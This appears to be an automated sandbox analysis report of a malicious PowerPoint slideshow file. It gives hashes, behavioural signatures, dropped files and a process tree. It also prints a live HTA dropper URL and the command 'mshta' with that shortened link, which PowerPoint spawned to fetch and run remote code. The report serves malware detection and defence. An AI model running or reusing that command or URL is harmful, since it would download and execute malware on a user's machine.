Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-11-2024 07:41

General

  • Target

    71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199.pps

  • Size

    81KB

  • MD5

    059e79d36927bb230e90376aa7528015

  • SHA1

    2448b57e97a917d01993c89b901ad2c21d413792

  • SHA256

    71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199

  • SHA512

    667451539ea0809ba9de6ea23d703d8641bf3d3df417fc0c48a13584b5cc6d3f1fc97468af98c3f8dbc73d4ed79e3f52aaee372a4a2f0d77019ba9328ec345fc

  • SSDEEP

    768:EvV9mdLakIT0fSCmwypPtV2RLcicHw6no37p8hcjo:ENemwypPGkHV

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://www.bitly.com/eyuiqwhdbkmasbdma

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 21 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199.pps"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2052
      • C:\Windows\SysWOW64\mshta.exe
        mshta https://www.bitly.com/eyuiqwhdbkmasbdma
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2724
      • C:\Program Files (x86)\Microsoft Office\Office14\CLVIEW.EXE
        "C:\Program Files (x86)\Microsoft Office\Office14\CLVIEW.EXE" "POWERPNT" "Microsoft PowerPoint"
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:1600

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\MsOfficeHelp14\MOHF1A1.tmp\ClientViewerSettings.xml

      Filesize

      7KB

      MD5

      88fbdbf0b8ed30038abb141e26ad42b6

      SHA1

      e867446eeef83f11ec0b9c3fee7499442923d9a3

      SHA256

      63a2227b104139265e9d2f43e5e4c8c61aabcd92ffee838fbbe18e987e911c68

      SHA512

      e3924be97958268b1ed49e396965b901121ac4c1c04e8fbc209517b00c9f2de386c821703e31a7d85383055f381a0191a59f0aad159b94e5071a81325eb4d25d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\MsOfficeHelp14\MOHF1A1.tmp\HTMLMESSAGE.0.htm

      Filesize

      1KB

      MD5

      66a5d93307e5e17736bb8ca684561683

      SHA1

      007660591758a77ea16ad9c0f71727310e758fef

      SHA256

      0ed1489128659a349ecb2d26642f5edb547be2fa3922ddbd66cce16a57b099ab

      SHA512

      9666a59f3a52956c9e1ac90c74e84e7b608fa9bfd0f1c864d88fe0afa84a51e1bf63d5fd0a098c5f732f9dab07c6a8a47a6cb2587b0fdb6d3f7c9f43fc6e9061

    • C:\Users\Admin\AppData\Local\Temp\CabE3DC.tmp

      Filesize

      70KB

      MD5

      49aebf8cbd62d92ac215b2923fb1b9f5

      SHA1

      1723be06719828dda65ad804298d0431f6aff976

      SHA256

      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

      SHA512

      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    • C:\Users\Admin\AppData\Local\Temp\TarE3FE.tmp

      Filesize

      181KB

      MD5

      4ea6026cf93ec6338144661bf1202cd1

      SHA1

      a1dec9044f750ad887935a01430bf49322fbdcb7

      SHA256

      8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

      SHA512

      6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

    • memory/2460-13-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-190-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-28-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-25-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-0-0x000000002D381000-0x000000002D382000-memory.dmp

      Filesize

      4KB

    • memory/2460-4-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-126-0x00000000724DD000-0x00000000724E8000-memory.dmp

      Filesize

      44KB

    • memory/2460-24-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-191-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-2-0x00000000724DD000-0x00000000724E8000-memory.dmp

      Filesize

      44KB

    • memory/2460-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2460-496-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-497-0x0000000005560000-0x0000000005660000-memory.dmp

      Filesize

      1024KB

    • memory/2460-498-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2460-507-0x00000000724DD000-0x00000000724E8000-memory.dmp

      Filesize

      44KB